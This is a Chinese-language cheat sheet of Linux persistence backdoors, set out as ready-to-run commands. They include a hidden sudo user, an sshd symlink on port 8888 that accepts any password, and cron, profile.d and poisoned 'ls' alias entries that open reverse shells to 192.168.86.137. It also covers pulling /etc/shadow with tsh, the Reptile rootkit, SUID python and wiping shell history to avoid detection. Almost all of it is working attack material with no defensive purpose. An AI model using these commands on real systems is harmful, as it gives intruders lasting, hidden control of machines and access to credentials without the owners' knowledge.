添加后门账号
sudo useradd-M 用户名 && sudo passwd 用户名 # 创建用户并设置用户名
# 用户可通过sodu+密码获取root权限
sudo visudo
添加
用户名 ALL=(ALL:ALL) ALL
# 验证用户是否可以ssh登录
#添加ssh登录权限
vim /etc/ssh/sshd_config
# 添加 AllowUsers user
sudo systemctl restart ssh # 重启ssh服务
ssh公私钥后门
ssh-keygen -t rsa -b 4096 -C "你的邮箱地址" # 创建公私钥
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys # 将公钥添加生效
ssh -i ~/.ssh/my_custom_key 用户名@服务器IP # ssh登录指定私钥文件
ssh软连接
cat /etc/ssh/sshd_config | grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
ssh root@xx.xx.xx.xx -p 8888 任意密码登录即可
(echo "* * * * * ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888") | crontab - # 添加计划任务免得被kill
计划任务后门
echo "#!/bin/bash" > /tmp/.demo.sh
echo "sh -i >& /dev/tcp/192.168.86.137/3434 0>&1" > /tmp/.demo.sh
chmod +x /tmp/.demo.sh
(echo "*/1 * * * * /tmp/.demo.sh") | crontab -
# 利用现有计划任务更不易发现
alias后门
echo "alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.86.137/3333 0>&1; };alerts'" >> ~/.bashrc
开机启动项
echo "#!/bin/bash" > /etc/profile.d/.demo.sh
echo "echo "sh -i >& /dev/tcp/192.168.86.137/3434 0>&1" >> /etc/profile.d/.demo.sh
chmod +x /etc/profile.d/.demo.sh
# 利用现有开机启动项更不容易发现
tsh权限维持
https://github.com/creaktive/tsh
# 编译
make <system> 如make linux
# server
umask 077; HOME=/var/tmp ./tshd
# client
- start a shell:
./tsh <hostname>
- execute a command:
./tsh <hostname> "uname -a"
- transfer files:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
rootkit权限维持
https://github.com/f0rb1dd3n/Reptile/
suid/sgid/sudo权限维持
chmod u+s python
chmod g+s python
sudo visudo
添加
用户名 ALL=(ALL:ALL) ALL
history不记录执行命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
或执行命令前加一个空格
如ls变成 ls(注意是空ls)
其他的后门维持手段
OpenSSH后门万能密码&记录密码
PAM后门
Strace后门
xz投毒后门